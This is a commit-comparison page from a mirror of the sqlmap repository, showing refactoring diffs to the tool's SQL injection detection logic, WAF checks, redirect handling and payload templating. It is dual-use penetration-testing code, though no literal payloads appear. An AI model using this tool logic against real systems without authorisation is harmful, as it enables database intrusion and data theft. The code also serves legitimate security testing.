mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2026-10-12 02:22:55 +00:00
Compare commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
2cc6214227 | ||
|
|
8a90512354 | ||
|
|
ae8699f258 | ||
|
|
cdb1e79370 | ||
|
|
f0677d88b7 | ||
|
|
16cd13d7db | ||
|
|
c7329cb03b | ||
|
|
45fb5ab4a5 | ||
|
|
241f7321de | ||
|
|
c6c1ac02bb | ||
|
|
f287ff3767 | ||
|
|
7d5a0ed2dc | ||
|
|
4fc7fc6447 | ||
|
|
880d709bfd | ||
|
|
0ddc7bae66 | ||
|
|
305b2aa9b5 | ||
|
|
e63b97afd6 | ||
|
|
c378b6691c | ||
|
|
ee431cd83b | ||
|
|
e088fe08ec | ||
|
|
74de40b9c5 | ||
|
|
6c2b7cff80 | ||
|
|
a6809e03ef | ||
|
|
ac68eed65d | ||
|
|
a27f21cb1d | ||
|
|
01fb07f68c | ||
|
|
d7f2445814 | ||
|
|
6875c40a06 | ||
|
|
4cd859012a | ||
|
|
5feb4c3ccd | ||
|
|
3c5e9e7559 | ||
|
|
909a3456e3 | ||
|
|
fa4c1c5251 | ||
|
|
8166a4eeb8 | ||
|
|
ae2b02952f | ||
|
|
1d9c11b1c1 | ||
|
|
99894dc3c1 | ||
|
|
0c4b6c9978 | ||
|
|
cd88caa0e7 | ||
|
|
c024233f88 | ||
|
|
5380e8174b | ||
|
|
4cefff7e98 | ||
|
|
11b52c85e1 | ||
|
|
24cefeaee2 | ||
|
|
9ad32864ec | ||
|
|
190e8ae5fa | ||
|
|
43044d8512 | ||
|
|
881b49afd2 | ||
|
|
93b425809e | ||
|
|
4f2f31af67 | ||
|
|
f95d0c831b | ||
|
|
76905e8728 | ||
|
|
8d6cc4ae2c | ||
|
|
a369f61207 | ||
|
|
34d2fb1c8f | ||
|
|
ec6de40a8d | ||
|
|
6402d2ec57 | ||
|
|
b25f2bfa45 | ||
|
|
9df16f3eb2 | ||
|
|
d99151ce5a | ||
|
|
93859fdc42 | ||
|
|
b595b883d1 | ||
|
|
67f8c22702 | ||
|
|
24cc6e92e9 | ||
|
|
f38596a5b3 | ||
|
|
5ff54bf9c6 | ||
|
|
8e8ae52288 | ||
|
|
e2cc9569e5 | ||
|
|
365fa5a52a | ||
|
|
faaae2b647 | ||
|
|
d813d24c48 | ||
|
|
e347d90ec5 | ||
|
|
56a4e507e8 | ||
|
|
5b99180ffe | ||
|
|
061c8da36b | ||
|
|
a16663f9a1 | ||
|
|
62fc2e1e17 | ||
|
|
ef8b2d793f |
@@ -24,7 +24,6 @@ Many [people](https://raw.github.com/sqlmapproject/sqlmap/master/doc/THANKS.md)
|
|||||||
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
|
In order to maintain consistency and readability throughout the code, we ask that you adhere to the following instructions:
|
||||||
|
|
||||||
* Each patch should make one logical change.
|
* Each patch should make one logical change.
|
||||||
* Wrap code to 76 columns when possible.
|
|
||||||
* Avoid tabbing, use four blank spaces instead.
|
* Avoid tabbing, use four blank spaces instead.
|
||||||
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
|
* Before you put time into a non-trivial patch, it is worth discussing it privately by [email](mailto:[email protected]).
|
||||||
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
|
* Do not change style on numerous files in one single pull request, we can [discuss](mailto:[email protected]) about those before doing any major restyling, but be sure that personal preferences not having a strong support in [PEP 8](http://www.python.org/dev/peps/pep-0008/) will likely to be rejected.
|
||||||
|
|||||||
@@ -1,4 +1,7 @@
|
|||||||
language: python
|
language: python
|
||||||
|
sudo: false
|
||||||
|
git:
|
||||||
|
depth: 1
|
||||||
python:
|
python:
|
||||||
- "2.6"
|
- "2.6"
|
||||||
- "2.7"
|
- "2.7"
|
||||||
|
|||||||
+61
-38
@@ -146,8 +146,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# error message, simple heuristic check or via DBMS-specific
|
# error message, simple heuristic check or via DBMS-specific
|
||||||
# payload), ask the user to limit the tests to the fingerprinted
|
# payload), ask the user to limit the tests to the fingerprinted
|
||||||
# DBMS
|
# DBMS
|
||||||
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), \
|
if kb.reduceTests is None and not conf.testFilter and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
|
||||||
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
msg = "it looks like the back-end DBMS is '%s'. " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
||||||
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
msg += "Do you want to skip test payloads specific for other DBMSes? [Y/n]"
|
||||||
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
kb.reduceTests = (Backend.getErrorParsedDBMSes() or [kb.heuristicDbms]) if readInput(msg, default='Y', boolean=True) else []
|
||||||
@@ -156,9 +155,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# message, via simple heuristic check or via DBMS-specific
|
# message, via simple heuristic check or via DBMS-specific
|
||||||
# payload), ask the user to extend the tests to all DBMS-specific,
|
# payload), ask the user to extend the tests to all DBMS-specific,
|
||||||
# regardless of --level and --risk values provided
|
# regardless of --level and --risk values provided
|
||||||
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) \
|
if kb.extendTests is None and not conf.testFilter and (conf.level < 5 or conf.risk < 3) and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or kb.heuristicDbms or injection.dbms):
|
||||||
and (intersect(Backend.getErrorParsedDBMSes(), SUPPORTED_DBMS, True) or \
|
|
||||||
kb.heuristicDbms or injection.dbms):
|
|
||||||
msg = "for the remaining tests, do you want to include all tests "
|
msg = "for the remaining tests, do you want to include all tests "
|
||||||
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
msg += "for '%s' extending provided " % (Format.getErrorParsedDBMSes() or kb.heuristicDbms or injection.dbms)
|
||||||
msg += "level (%d)" % conf.level if conf.level < 5 else ""
|
msg += "level (%d)" % conf.level if conf.level < 5 else ""
|
||||||
@@ -206,7 +203,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
continue
|
continue
|
||||||
|
|
||||||
match = re.search(r"(\d+)-(\d+)", test.request.columns)
|
match = re.search(r"(\d+)-(\d+)", test.request.columns)
|
||||||
if injection.data and match:
|
if match and injection.data:
|
||||||
lower, upper = int(match.group(1)), int(match.group(2))
|
lower, upper = int(match.group(1)), int(match.group(2))
|
||||||
for _ in (lower, upper):
|
for _ in (lower, upper):
|
||||||
if _ > 1:
|
if _ > 1:
|
||||||
@@ -242,9 +239,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
|
|
||||||
# Skip tests if title, vector or DBMS is not included by the
|
# Skip tests if title, vector or DBMS is not included by the
|
||||||
# given test filter
|
# given test filter
|
||||||
if conf.testFilter and not any(conf.testFilter in str(item) or \
|
if conf.testFilter and not any(conf.testFilter in str(item) or re.search(conf.testFilter, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
|
||||||
re.search(conf.testFilter, str(item), re.I) for item in \
|
|
||||||
(test.title, test.vector, payloadDbms)):
|
|
||||||
debugMsg = "skipping test '%s' because its " % title
|
debugMsg = "skipping test '%s' because its " % title
|
||||||
debugMsg += "name/vector/DBMS is not included by the given filter"
|
debugMsg += "name/vector/DBMS is not included by the given filter"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -252,9 +247,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
|
|
||||||
# Skip tests if title, vector or DBMS is included by the
|
# Skip tests if title, vector or DBMS is included by the
|
||||||
# given skip filter
|
# given skip filter
|
||||||
if conf.testSkip and any(conf.testSkip in str(item) or \
|
if conf.testSkip and any(conf.testSkip in str(item) or re.search(conf.testSkip, str(item), re.I) for item in (test.title, test.vector, payloadDbms)):
|
||||||
re.search(conf.testSkip, str(item), re.I) for item in \
|
|
||||||
(test.title, test.vector, payloadDbms)):
|
|
||||||
debugMsg = "skipping test '%s' because its " % title
|
debugMsg = "skipping test '%s' because its " % title
|
||||||
debugMsg += "name/vector/DBMS is included by the given skip filter"
|
debugMsg += "name/vector/DBMS is included by the given skip filter"
|
||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
@@ -336,6 +329,23 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
continue
|
continue
|
||||||
|
|
||||||
|
if stype == PAYLOAD.TECHNIQUE.UNION:
|
||||||
|
match = re.search(r"(\d+)-(\d+)", test.request.columns)
|
||||||
|
if match and not injection.data:
|
||||||
|
_ = test.request.columns.split('-')[-1]
|
||||||
|
if conf.uCols is None and _.isdigit() and int(_) > 10:
|
||||||
|
if kb.futileUnion is None:
|
||||||
|
msg = "it is not recommended to perform "
|
||||||
|
msg += "extended UNION tests if there is not "
|
||||||
|
msg += "at least one other (potential) "
|
||||||
|
msg += "technique found. Do you want to skip? [Y/n] "
|
||||||
|
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
|
||||||
|
|
||||||
|
if kb.futileUnion is False:
|
||||||
|
debugMsg = "skipping test '%s'" % title
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
continue
|
||||||
|
|
||||||
infoMsg = "testing '%s'" % title
|
infoMsg = "testing '%s'" % title
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
@@ -498,12 +508,16 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
errorResult = Request.queryPage(errorPayload, place, raise404=False)
|
errorResult = Request.queryPage(errorPayload, place, raise404=False)
|
||||||
if errorResult:
|
if errorResult:
|
||||||
continue
|
continue
|
||||||
elif not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
|
_ = comparison(kb.heuristicPage, None, getRatioValue=True)
|
||||||
if _ > kb.matchRatio:
|
if _ > kb.matchRatio:
|
||||||
kb.matchRatio = _
|
kb.matchRatio = _
|
||||||
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
|
logger.debug("adjusting match ratio for current parameter to %.3f" % kb.matchRatio)
|
||||||
|
|
||||||
|
# Reducing false-positive "appears" messages in heavily dynamic environment
|
||||||
|
if kb.heavilyDynamic and not Request.queryPage(reqPayload, place, raise404=False):
|
||||||
|
continue
|
||||||
|
|
||||||
injectable = True
|
injectable = True
|
||||||
|
|
||||||
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
elif threadData.lastComparisonRatio > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)):
|
||||||
@@ -588,10 +602,10 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
# body for the test's <grep> regular expression
|
# body for the test's <grep> regular expression
|
||||||
try:
|
try:
|
||||||
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
page, headers, _ = Request.queryPage(reqPayload, place, content=True, raise404=False)
|
||||||
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE) \
|
output = extractRegexResult(check, page, re.DOTALL | re.IGNORECASE)
|
||||||
or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE) \
|
output = output or extractRegexResult(check, threadData.lastHTTPError[2] if wasLastResponseHTTPError() else None, re.DOTALL | re.IGNORECASE)
|
||||||
or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE) \
|
output = output or extractRegexResult(check, listToStrValue((headers[key] for key in headers.keys() if key.lower() != URI_HTTP_HEADER.lower()) if headers else None), re.DOTALL | re.IGNORECASE)
|
||||||
or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
output = output or extractRegexResult(check, threadData.lastRedirectMsg[1] if threadData.lastRedirectMsg and threadData.lastRedirectMsg[0] == threadData.lastRequestUID else None, re.DOTALL | re.IGNORECASE)
|
||||||
|
|
||||||
if output:
|
if output:
|
||||||
result = output == "1"
|
result = output == "1"
|
||||||
@@ -660,18 +674,6 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
infoMsg += "there is at least one other (potential) "
|
infoMsg += "there is at least one other (potential) "
|
||||||
infoMsg += "technique found"
|
infoMsg += "technique found"
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
elif not injection.data:
|
|
||||||
_ = test.request.columns.split('-')[-1]
|
|
||||||
if _.isdigit() and int(_) > 10:
|
|
||||||
if kb.futileUnion is None:
|
|
||||||
msg = "it is not recommended to perform "
|
|
||||||
msg += "extended UNION tests if there is not "
|
|
||||||
msg += "at least one other (potential) "
|
|
||||||
msg += "technique found. Do you want to skip? [Y/n] "
|
|
||||||
|
|
||||||
kb.futileUnion = not readInput(msg, default='Y', boolean=True)
|
|
||||||
if kb.futileUnion is False:
|
|
||||||
continue
|
|
||||||
|
|
||||||
# Test for UNION query SQL injection
|
# Test for UNION query SQL injection
|
||||||
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
reqPayload, vector = unionTest(comment, place, parameter, value, prefix, suffix)
|
||||||
@@ -688,7 +690,7 @@ def checkSqlInjection(place, parameter, value):
|
|||||||
|
|
||||||
kb.previousMethod = method
|
kb.previousMethod = method
|
||||||
|
|
||||||
if conf.dummy or conf.offline:
|
if conf.offline:
|
||||||
injectable = False
|
injectable = False
|
||||||
|
|
||||||
# If the injection test was successful feed the injection
|
# If the injection test was successful feed the injection
|
||||||
@@ -873,8 +875,7 @@ def checkFalsePositives(injection):
|
|||||||
|
|
||||||
retVal = True
|
retVal = True
|
||||||
|
|
||||||
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or\
|
if all(_ in (PAYLOAD.TECHNIQUE.BOOLEAN, PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED) for _ in injection.data) or (len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
||||||
(len(injection.data) == 1 and PAYLOAD.TECHNIQUE.UNION in injection.data and "Generic" in injection.data[PAYLOAD.TECHNIQUE.UNION].title):
|
|
||||||
pushValue(kb.injection)
|
pushValue(kb.injection)
|
||||||
|
|
||||||
infoMsg = "checking if the injection point on %s " % injection.place
|
infoMsg = "checking if the injection point on %s " % injection.place
|
||||||
@@ -971,7 +972,7 @@ def checkFilteredChars(injection):
|
|||||||
|
|
||||||
# inference techniques depend on character '>'
|
# inference techniques depend on character '>'
|
||||||
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
|
if not any(_ in injection.data for _ in (PAYLOAD.TECHNIQUE.ERROR, PAYLOAD.TECHNIQUE.UNION, PAYLOAD.TECHNIQUE.QUERY)):
|
||||||
if not checkBooleanExpression("%d>%d" % (randInt+1, randInt)):
|
if not checkBooleanExpression("%d>%d" % (randInt + 1, randInt)):
|
||||||
warnMsg = "it appears that the character '>' is "
|
warnMsg = "it appears that the character '>' is "
|
||||||
warnMsg += "filtered by the back-end server. You are strongly "
|
warnMsg += "filtered by the back-end server. You are strongly "
|
||||||
warnMsg += "advised to rerun with the '--tamper=between'"
|
warnMsg += "advised to rerun with the '--tamper=between'"
|
||||||
@@ -985,6 +986,11 @@ def heuristicCheckSqlInjection(place, parameter):
|
|||||||
logger.debug(debugMsg)
|
logger.debug(debugMsg)
|
||||||
return None
|
return None
|
||||||
|
|
||||||
|
if kb.heavilyDynamic:
|
||||||
|
debugMsg = "heuristic check skipped because of heavy dynamicity"
|
||||||
|
logger.debug(debugMsg)
|
||||||
|
return None
|
||||||
|
|
||||||
origValue = conf.paramDict[place][parameter]
|
origValue = conf.paramDict[place][parameter]
|
||||||
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
paramType = conf.method if conf.method not in (None, HTTPMETHOD.GET, HTTPMETHOD.POST) else place
|
||||||
|
|
||||||
@@ -1171,6 +1177,8 @@ def checkDynamicContent(firstPage, secondPage):
|
|||||||
warnMsg += "sqlmap is going to retry the request(s)"
|
warnMsg += "sqlmap is going to retry the request(s)"
|
||||||
singleTimeLogMessage(warnMsg, logging.CRITICAL)
|
singleTimeLogMessage(warnMsg, logging.CRITICAL)
|
||||||
|
|
||||||
|
kb.heavilyDynamic = True
|
||||||
|
|
||||||
secondPage, _, _ = Request.queryPage(content=True)
|
secondPage, _, _ = Request.queryPage(content=True)
|
||||||
findDynamicContent(firstPage, secondPage)
|
findDynamicContent(firstPage, secondPage)
|
||||||
|
|
||||||
@@ -1332,14 +1340,19 @@ def checkWaf():
|
|||||||
retVal = False
|
retVal = False
|
||||||
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
|
payload = "%d %s" % (randomInt(), IDS_WAF_CHECK_PAYLOAD)
|
||||||
|
|
||||||
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
if PLACE.URI in conf.parameters:
|
||||||
value += agent.addPayloadDelimiters("%s=%s" % (randomStr(), payload))
|
place = PLACE.POST
|
||||||
|
value = "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||||
|
else:
|
||||||
|
place = PLACE.GET
|
||||||
|
value = "" if not conf.parameters.get(PLACE.GET) else conf.parameters[PLACE.GET] + DEFAULT_GET_POST_DELIMITER
|
||||||
|
value += "%s=%s" % (randomStr(), agent.addPayloadDelimiters(payload))
|
||||||
|
|
||||||
pushValue(conf.timeout)
|
pushValue(conf.timeout)
|
||||||
conf.timeout = IDS_WAF_CHECK_TIMEOUT
|
conf.timeout = IDS_WAF_CHECK_TIMEOUT
|
||||||
|
|
||||||
try:
|
try:
|
||||||
retVal = Request.queryPage(place=PLACE.GET, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
|
retVal = Request.queryPage(place=place, value=value, getRatioValue=True, noteResponseTime=False, silent=True)[1] < IDS_WAF_CHECK_RATIO
|
||||||
except SqlmapConnectionException:
|
except SqlmapConnectionException:
|
||||||
retVal = True
|
retVal = True
|
||||||
finally:
|
finally:
|
||||||
@@ -1537,6 +1550,16 @@ def checkConnection(suppressOutput=False):
|
|||||||
else:
|
else:
|
||||||
kb.errorIsNone = True
|
kb.errorIsNone = True
|
||||||
|
|
||||||
|
|
||||||
|
threadData = getCurrentThreadData()
|
||||||
|
|
||||||
|
if kb.redirectChoice == REDIRECTION.YES and threadData.lastRedirectURL and threadData.lastRedirectURL[0] == threadData.lastRequestUID:
|
||||||
|
if conf.hostname in (threadData.lastRedirectURL[1] or "") and threadData.lastRedirectURL[1].startswith("https://"):
|
||||||
|
conf.url = re.sub(r"https?://", "https://", conf.url)
|
||||||
|
match = re.search(r":(\d+)", threadData.lastRedirectURL[1])
|
||||||
|
port = match.group(1) if match else 443
|
||||||
|
conf.url = re.sub(r":\d+/", ":%s/" % port, conf.url)
|
||||||
|
|
||||||
except SqlmapConnectionException, ex:
|
except SqlmapConnectionException, ex:
|
||||||
if conf.ipv6:
|
if conf.ipv6:
|
||||||
warnMsg = "check connection to a provided "
|
warnMsg = "check connection to a provided "
|
||||||
@@ -1567,8 +1590,8 @@ def checkInternet():
|
|||||||
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
|
content = Request.getPage(url=CHECK_INTERNET_ADDRESS, checking=True)[0]
|
||||||
return CHECK_INTERNET_VALUE in (content or "")
|
return CHECK_INTERNET_VALUE in (content or "")
|
||||||
|
|
||||||
def setVerbosity(): # Cross-linked function
|
def setVerbosity(): # Cross-referenced function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|
||||||
def setWafFunctions(): # Cross-linked function
|
def setWafFunctions(): # Cross-referenced function
|
||||||
raise NotImplementedError
|
raise NotImplementedError
|
||||||
|
|||||||
@@ -152,12 +152,15 @@ def _formatInjection(inj):
|
|||||||
vector = "%s%s" % (vector, comment)
|
vector = "%s%s" % (vector, comment)
|
||||||
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
|
data += " Type: %s\n" % PAYLOAD.SQLINJECTION[stype]
|
||||||
data += " Title: %s\n" % title
|
data += " Title: %s\n" % title
|
||||||
data += " Payload: %s\n" % urldecode(payload, unsafe="&", plusspace=(inj.place != PLACE.GET and kb.postSpaceToPlus))
|
data += " Payload: %s\n" % urldecode(payload, unsafe="&", spaceplus=(inj.place != PLACE.GET and kb.postSpaceToPlus))
|
||||||
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
|
data += " Vector: %s\n\n" % vector if conf.verbose > 1 else "\n"
|
||||||
|
|
||||||
return data
|
return data
|
||||||
|
|
||||||
def _showInjections():
|
def _showInjections():
|
||||||
|
if conf.wizard and kb.wizardMode:
|
||||||
|
kb.wizardMode = False
|
||||||
|
|
||||||
if kb.testQueryCount > 0:
|
if kb.testQueryCount > 0:
|
||||||
header = "sqlmap identified the following injection point(s) with "
|
header = "sqlmap identified the following injection point(s) with "
|
||||||
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
header += "a total of %d HTTP(s) requests" % kb.testQueryCount
|
||||||
@@ -283,7 +286,7 @@ def start():
|
|||||||
try:
|
try:
|
||||||
|
|
||||||
if conf.checkInternet:
|
if conf.checkInternet:
|
||||||
infoMsg = "[INFO] checking for Internet connection"
|
infoMsg = "checking for Internet connection"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
if not checkInternet():
|
if not checkInternet():
|
||||||
@@ -368,9 +371,8 @@ def start():
|
|||||||
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
|
conf.data = urldecode(conf.data) if conf.data and urlencode(DEFAULT_GET_POST_DELIMITER, None) not in conf.data else conf.data
|
||||||
|
|
||||||
else:
|
else:
|
||||||
if targetUrl.find("?") > -1:
|
if '?' in targetUrl:
|
||||||
firstPart = targetUrl[:targetUrl.find("?")]
|
firstPart, secondPart = targetUrl.split('?', 1)
|
||||||
secondPart = targetUrl[targetUrl.find("?") + 1:]
|
|
||||||
message = "Edit GET data [default: %s]: " % secondPart
|
message = "Edit GET data [default: %s]: " % secondPart
|
||||||
test = readInput(message, default=secondPart)
|
test = readInput(message, default=secondPart)
|
||||||
test = _randomFillBlankFields(test)
|
test = _randomFillBlankFields(test)
|
||||||
@@ -404,8 +406,7 @@ def start():
|
|||||||
if conf.nullConnection:
|
if conf.nullConnection:
|
||||||
checkNullConnection()
|
checkNullConnection()
|
||||||
|
|
||||||
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) \
|
if (len(kb.injections) == 0 or (len(kb.injections) == 1 and kb.injections[0].place is None)) and (kb.injection.place is None or kb.injection.parameter is None):
|
||||||
and (kb.injection.place is None or kb.injection.parameter is None):
|
|
||||||
|
|
||||||
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
|
if not any((conf.string, conf.notString, conf.regexp)) and PAYLOAD.TECHNIQUE.BOOLEAN in conf.tech:
|
||||||
# NOTE: this is not needed anymore, leaving only to display
|
# NOTE: this is not needed anymore, leaving only to display
|
||||||
|
|||||||
+13
-13
@@ -56,19 +56,19 @@ def setHandler():
|
|||||||
"""
|
"""
|
||||||
|
|
||||||
items = [
|
items = [
|
||||||
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
|
(DBMS.MYSQL, MYSQL_ALIASES, MySQLMap, MySQLConn),
|
||||||
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
|
(DBMS.ORACLE, ORACLE_ALIASES, OracleMap, OracleConn),
|
||||||
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
|
(DBMS.PGSQL, PGSQL_ALIASES, PostgreSQLMap, PostgreSQLConn),
|
||||||
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
|
(DBMS.MSSQL, MSSQL_ALIASES, MSSQLServerMap, MSSQLServerConn),
|
||||||
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
|
(DBMS.SQLITE, SQLITE_ALIASES, SQLiteMap, SQLiteConn),
|
||||||
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
|
(DBMS.ACCESS, ACCESS_ALIASES, AccessMap, AccessConn),
|
||||||
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
|
(DBMS.FIREBIRD, FIREBIRD_ALIASES, FirebirdMap, FirebirdConn),
|
||||||
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
|
(DBMS.MAXDB, MAXDB_ALIASES, MaxDBMap, MaxDBConn),
|
||||||
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
|
(DBMS.SYBASE, SYBASE_ALIASES, SybaseMap, SybaseConn),
|
||||||
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
|
(DBMS.DB2, DB2_ALIASES, DB2Map, DB2Conn),
|
||||||
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
(DBMS.HSQLDB, HSQLDB_ALIASES, HSQLDBMap, HSQLDBConn),
|
||||||
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
(DBMS.INFORMIX, INFORMIX_ALIASES, InformixMap, InformixConn),
|
||||||
]
|
]
|
||||||
|
|
||||||
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
|
_ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else None for _ in items)
|
||||||
if _:
|
if _:
|
||||||
|
|||||||
+14
-10
@@ -121,8 +121,8 @@ class Agent(object):
|
|||||||
origValue = _.split('=', 1)[1] if '=' in _ else ""
|
origValue = _.split('=', 1)[1] if '=' in _ else ""
|
||||||
elif place == PLACE.CUSTOM_HEADER:
|
elif place == PLACE.CUSTOM_HEADER:
|
||||||
paramString = origValue
|
paramString = origValue
|
||||||
origValue = origValue.split(kb.customInjectionMark)[0]
|
|
||||||
origValue = origValue[origValue.find(',') + 1:]
|
origValue = origValue[origValue.find(',') + 1:]
|
||||||
|
origValue = origValue.split(kb.customInjectionMark)[0]
|
||||||
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
|
match = re.search(r"([^;]+)=(?P<value>[^;]*);?\Z", origValue)
|
||||||
if match:
|
if match:
|
||||||
origValue = match.group("value")
|
origValue = match.group("value")
|
||||||
@@ -294,17 +294,21 @@ class Agent(object):
|
|||||||
if payload is None:
|
if payload is None:
|
||||||
return
|
return
|
||||||
|
|
||||||
_ = (
|
replacements = (
|
||||||
("[DELIMITER_START]", kb.chars.start), ("[DELIMITER_STOP]", kb.chars.stop),\
|
("[DELIMITER_START]", kb.chars.start),
|
||||||
("[AT_REPLACE]", kb.chars.at), ("[SPACE_REPLACE]", kb.chars.space), ("[DOLLAR_REPLACE]", kb.chars.dollar),\
|
("[DELIMITER_STOP]", kb.chars.stop),
|
||||||
("[HASH_REPLACE]", kb.chars.hash_), ("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
|
("[AT_REPLACE]", kb.chars.at),
|
||||||
)
|
("[SPACE_REPLACE]", kb.chars.space),
|
||||||
payload = reduce(lambda x, y: x.replace(y[0], y[1]), _, payload)
|
("[DOLLAR_REPLACE]", kb.chars.dollar),
|
||||||
|
("[HASH_REPLACE]", kb.chars.hash_),
|
||||||
|
("[GENERIC_SQL_COMMENT]", GENERIC_SQL_COMMENT)
|
||||||
|
)
|
||||||
|
payload = reduce(lambda x, y: x.replace(y[0], y[1]), replacements, payload)
|
||||||
|
|
||||||
for _ in set(re.findall(r"\[RANDNUM(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"(?i)\[RANDNUM(?:\d+)?\]", payload)):
|
||||||
payload = payload.replace(_, str(randomInt()))
|
payload = payload.replace(_, str(randomInt()))
|
||||||
|
|
||||||
for _ in set(re.findall(r"\[RANDSTR(?:\d+)?\]", payload, re.I)):
|
for _ in set(re.findall(r"(?i)\[RANDSTR(?:\d+)?\]", payload)):
|
||||||
payload = payload.replace(_, randomStr())
|
payload = payload.replace(_, randomStr())
|
||||||
|
|
||||||
